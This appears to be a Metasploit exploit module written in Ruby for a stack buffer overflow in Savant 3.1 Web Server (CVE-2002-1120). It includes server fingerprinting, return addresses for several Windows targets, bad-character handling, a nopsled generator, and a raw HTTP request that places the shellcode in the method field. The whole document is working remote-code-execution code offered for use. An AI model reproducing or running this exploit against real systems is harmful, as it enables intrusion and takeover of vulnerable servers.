Savant Web Server 3.1 – Remote Overflow (Metasploit)
## # $Id: savant_31_overflow.rb 10546 2010-10-04 20:53:51Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Savant\/3\.1/ ] } include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Savant 3.1 Web Server Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Savant 3.1 Web Server. The service supports a maximum of 10 threads (for a default install). Each exploit attempt generally causes a thread to die whether sucessful or not. Therefore, in a default configuration, you only have 10 chances. Due to the limited space available for the payload in this exploit module, use of the "ord" payloads is recommended. }, 'Author' => [ 'patrick' ], 'Arch' => [ ARCH_X86 ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10546 $', 'References' => [ [ 'CVE', '2002-1120' ], [ 'OSVDB', '9829' ], [ 'BID', '5686' ], [ 'URL', 'http://www.milw0rm.com/exploits/787' ], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 253, 'BadChars' => "\x00\x0a\x0d\x25", 'StackAdjustment' => -3500, 'Compat' => { 'ConnectionType' => '+ws2ord', }, }, 'Platform' => ['win'], 'Targets' => [ # Patrick - Tested OK 2007/08/08 : w2ksp0, w2ksp4, xpsp2 en. [ 'Universal Savant.exe', { 'Ret' => 0x00417a96 } ], # p/r Savant.exe [ 'Windows 2000 Pro All - English', { 'Ret' => 0x750211aa } ], # p/r ws2help.dll [ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2ac5 } ], # p/r ws2help.dll [ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa36b2 } ], # p/r ws2help.dll [ 'Windows XP Pro SP2 - English', { 'Ret' => 0x71ab76ed } ], # p/r ws2help.dll ], 'DisclosureDate' => 'Sep 10 2002', 'DefaultTarget' => 0)) end def check info = http_fingerprint # check method if info and (info =~ /Savant\/3\.1/) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def safe_nops(count) # We need to find a safe nop combination. # Savant will change some chars in the http method type - anything before the "/". # # For example, "GET /" will remain "GET /", however # "\xe0 /" will be modified to "\xc0 /" ... # "\xfe /" will be modified to "\xde /" ... # "\xff /" will be modified to "\x9f /" # The code after the "/" - our payload - is unchanged >=) # # Savant bad_chars for the nops bad_nop_chars = [*(0xe0..0xff)].pack("C*") nopsled = make_nops(count) # make_nops includes the payload bad_chars bad_nop_chars.each_byte { |badbyte| nopsled.each_byte { |goodbyte| if (goodbyte == badbyte) return false end } } return nopsled end def exploit print_status("Searching for a suitable nopsled...") findnop = safe_nops(24) # If we use short jump or make_nops(), sled will be corrupted. until findnop findnop = safe_nops(24) # If nops are banned, generate a new batch. end print_status("Found one! Sending exploit.") sploit = findnop + " /" + payload.encoded + [target['Ret']].pack('V') res = send_request_raw( { 'method' => sploit, 'uri' => '/' }, 5) if (res) print_error('The server responded, that can\'t be good.') end handler end end |